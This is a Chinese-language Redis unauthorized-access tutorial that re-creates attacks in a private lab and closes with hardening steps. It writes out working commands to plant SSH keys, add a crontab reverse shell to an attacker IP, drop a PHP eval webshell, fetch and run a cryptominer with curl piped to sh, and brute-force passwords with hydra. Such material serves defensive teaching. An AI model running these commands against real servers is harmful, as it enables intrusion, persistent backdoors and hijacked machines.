redis未授權訪問

本篇主要從redis未授權訪問入手,還原一些黑客的攻擊場景,介紹一些常用的攻擊方法和安全知識。

應用介紹

漏洞介紹

測試環境

說明攻擊方法

redis日誌

修復方案

redis_logo

作者:悅潺@安全之光


一. 應用介紹

  Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日誌型、 Key-Value數據庫。和Memcached類似,它支持存儲的value 類型相對更多,包括 string(字符串)、list ( 鏈表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希類型)。這些數據類型都支持push/pop 、 add/remove 及取交集並集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上, redis支持各種不同方式的排序。與 memcached 一樣,爲了保證效率,數據都是緩存在內存中。區別的是 redis 會週期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了 master-slave ( 主從)同步。

二. 漏洞介紹

  Redis因配置不當可以導致未授權訪問,被攻擊者惡意利用。當前流行的針對Redis未授權訪問的一種新型攻擊方式,在特定條件下,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器,可導致服務器權限被獲取和數據刪除、泄露或加密勒索事件發生,嚴重危害業務正常服務。  部分服務器上的Redis 綁定在 0.0.0.0:6379,並且沒有開啓認證(這是Redis 的默認配置),以及該端口可以通過公網直接訪問,如果沒有采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,可能造成其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。  目前比較主流的案例:yam2 minerd 挖礦程序,還有在多次應急事件中發現大量的watch-smartd挖礦木馬。

主流案例圖示

三. 測試環境說明

3.1 測試環境與對象

測試對象環境 對應IP
受害者(centOS6.9) 192.168.10.153 192.168.152.128
攻擊者(kali) 192.168.152.133 192.168.152.138
攻擊者(redhat6.7) 192.168.152.129

3.2 測試工具和相關資源

工具名稱 工具用途
nmap 檢測端口,操作系統和設備類型等信息
nc 實現任意TCP/UDP端口的偵聽
hydra 主要用於暴力破解密碼

四. 攻擊方法

4.1 獲取主機端口開放信息

Redis默認使用6379端口,使用nmap對服務器進行掃描

Nmap -A -p 6379 –script redis-info 192.168.10.129

port_info

4.2 Redis未授權訪問獲取敏感信息

  Nmap掃描後發現主機的6379端口對外開放,就可以用本地Redis遠程連接服務器(redis在開放往外網的情況下(默認配置是bind 127.0.0.1,只允許本地訪問,如果配置了其他網卡地址那麼就可以網絡訪問),默認配置下是空口令,端口爲6379)連接後可以獲取Redis敏感數據。

./redis-cli -h 192.168.10.153

info

look_info

可以看到Redis的版本和服務器上內核版本信息,如果是新版的Redis2.8以後的版本還可以看到Redis配置文件的絕對路徑

可以查看裏面的key和其對應的值

keys *  

get key

key_info

4.3 Redis刪除數據

flushall 刪除所有數據

del key 刪除鍵爲key的數據

del_key

4.4 寫入ssh公鑰,獲取操作系統權限

  原理就是在數據庫中插入一條數據,將本機的公鑰作爲value,key值隨意,然後通過修改數據庫的默認路徑爲/root/.ssh和默認的緩衝文件authorized.keys,把緩衝的數據保存在文件裏,這樣就可以再服務器端的/root/.ssh下生一個授權的key。

  • 首先在自己的電腦上生成key:
ssh-keygen -t rsa

ssh-keygen

  • 將公鑰導入key.txt文件(前後用\n換行,避免和Redis裏其他緩存數據混合),再把key.txt文件內容寫入目標主機的緩衝裏:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx

cat_key.txt

  • 連接目標主機的Redis:
./redis-cli -h 192.168.10.153

connect_redis

  • 設置redis的備份路徑爲/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh

config set dbfilename authorized_keys

config_set

  • 將數據保存在服務器硬盤上(緩存裏的數據key.txt)
save
  • 這時候用ssh遠程連接:
ssh 192.168.10.153

connect_ssh

可以看到不用密碼就可以直接遠程登錄

  • 可以在centos這邊進入/root/.ssh目錄,看一下authorized_keys的文件內容
cat /root/.ssh/authorized_keys

在authorized_keys文件裏可以看到redis的版本號,我們寫入的公鑰和一些緩衝的亂碼

4.5 在crontab裏寫定時任務,反彈shell

  原理是和寫公鑰一樣的,只是變換一下寫入的內容和路徑,數據庫名。

  • 首先在客戶端這邊監聽一個端口(隨便一個端口就好,不要衝突就好)
nc -l 4444

nc

  • 連接redis,寫入反彈shell
./redis-cli -h 192.168.152.128
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

redis_cli

  • 1分鐘後客戶端這邊收到centos的反彈shell

4.6 在web目錄下寫入webshell

  通過redis在指定的web目錄下寫入一句話木馬,用菜刀連接可達到控制服務器的目的。

  • 遠程連接redis,寫入webshell
./redis-cli -h 192.168.152.128
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
  • 用菜刀連接:

webshell

  • 用菜刀打開虛擬終端執行命令

4.7 寫入挖礦進程

  所謂”挖礦”實質上是用計算機解決一項複雜的數學問題,來保證比特幣網絡分佈式記賬系統的一致性。比特幣網絡會自動調整數學問題的難度,讓整個網絡約每10分鐘得到一個合格答案。隨後比特幣網絡會新生成一定量的比特幣作爲賞金,獎勵獲得答案的人。它依據特定算法,通過大量的計算產生,所以纔會大量佔據cpu,導致系統卡頓,嚴重的直接癱瘓。給服務器上傳挖礦木馬有兩種方法:

  • 1.用上面的方法拿下webshell,給服務器指定目錄上傳一個watch-smartd挖礦木馬,一個shell腳本1.sh(上傳的文件默認沒有x權限)
vim 1.sh

#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
Export PATH
Chmod +x /root/test/watch-smartd
Exit 0

在kali上遠程連接redis

./redis-cli -h 192.168.152.128
config set dir /var/spool/cron
config set dbfilename root
set watch-smartd "\n\n\n*/1 * * * * /root/test/./watch-smartd\n\n\n"
set 1.sh "\n\n\n/1sh/root/test/1.sh\n\n"
save

一分鐘後在centOS上/root/test目錄下查看watch-smartd的權限

使用top命令查看cpu使用情況

挖礦木馬已經開始運行了,並且佔用了大量的cpu

  • 2.寫入定時任務,到指定的網站去下載挖礦木馬和shell腳本1.sh
vim 1.sh

#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
if [ ! -f "/tmp/watch-smartd" ];
    then
        wget http://192.168.152.138/watch/watch-smartd -O /tmp/watch-smartd
    else
        chmod +x /tmp/watch-smartd
fi
exit 0

在kali上遠程連接redis

./redis-cli -h 192.168.152.128
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n\n*/5 * * * * curl http://192.168.152.138/watch/1.sh | sh\n\n\n"
set xxxx "\n\n\n*/1 * * * * /tmp/./watch-smartd\n\n\n"
save

1分鐘後,在centos的/tmp目錄下可以看到挖礦木馬watch-smartd,並且具有x權限

使用top命令,可以看到挖礦木馬已經執行,佔用大量的cpu

4.8 利用redis執行命令

  redis 2.6以前的版本內置了lua腳本環境,在有連接redis服務器的權限下,可以利用lua執行系統命令。

  • 本地建立一個lua腳本
vim  hello.lua

local msg = "hello,hack!"
return msg
  • 在客戶端連接redis服務器並執行hello.lua
./redis-cli eval "$(cat hello.lua)" 0 -h 192.168.152.128

4.9 利用hydra暴力破解redis的密碼

  使用hydra工具可以對redis進行暴力破解

hydra -P passwd.txt redis://192.168.152.128

五. redis日誌

  redis在默認情況下,是不會生成日誌文件的,所以需要修改配置文件,讓redis生成日誌。  

5.1 配置方法:

  • 首先找到redis的配置文件
  • 打開配置文件,找到logfile(可能有多個logfile,認準旁邊有loglevel的那個),或者直接搜logfile “”
  • 將路徑填入logfile後面的引號內,例如:logfile”/usr/local/redis/redis.log”

  • 保存配置文件,以這個配置文件啓動redis,然後這時候redis的啓動框會變成一個黑框框,什麼輸出都沒有,這就對了(因爲輸入全寫到日誌文件去了)

  • loglevel是用來設置日誌等級的,具體可以看配置文件中上面的註釋

5.2 日誌內容

  • 記錄詳細的時間,某個IP遠程連接,當前緩衝區裏面有多少個key

  • 如果redis被暴力猜解,會在日誌裏面看大量的連接IP

六. 修復方案

6.1 禁止一些高危命令(重啓redis才能生效)

  • 修改 redis.conf 文件,禁用遠程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
  • 或者通過修改redis.conf文件,改變這些高危命令的名稱
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

6.2 以低權限運行 Redis 服務(重啓redis才能生效)

爲 Redis 服務創建單獨的用戶和家目錄,並且配置禁止登陸

groupadd -r redis && useradd -r -g redis redis

6.3 爲 Redis 添加密碼驗證(重啓redis才能生效)

修改 redis.conf 文件,添加

requirepass mypassword

(注意redis不要用-a參數,明文輸入密碼,連接後使用auth認證)

6.4 禁止外網訪問 Redis(重啓redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用

bind 127.0.0.1

在redis3.2之後,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯

6.5 修改默認端口

修改配置文件redis.conf文件

Port 6379

默認端口是6379,可以改變成其他端口(不要衝突就好)

6.6 保證 authorized_keys 文件的安全

爲了保證安全,您應該阻止其他用戶添加新的公鑰。

  • 將 authorized_keys 的權限設置爲對擁有者只讀,其他用戶沒有任何權限:
chmod 400 ~/.ssh/authorized_keys
  • 爲保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:
chattr +i ~/.ssh/authorized_keys
  • 然而,用戶還可以重命名 ~/.ssh,然後新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 權限:
chattr +i ~/.ssh

6.7 設置防火牆策略  

如果正常業務中Redis服務需要被其他服務器來訪問,可以設置iptables策略僅允許指定的IP來訪問Redis服務。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章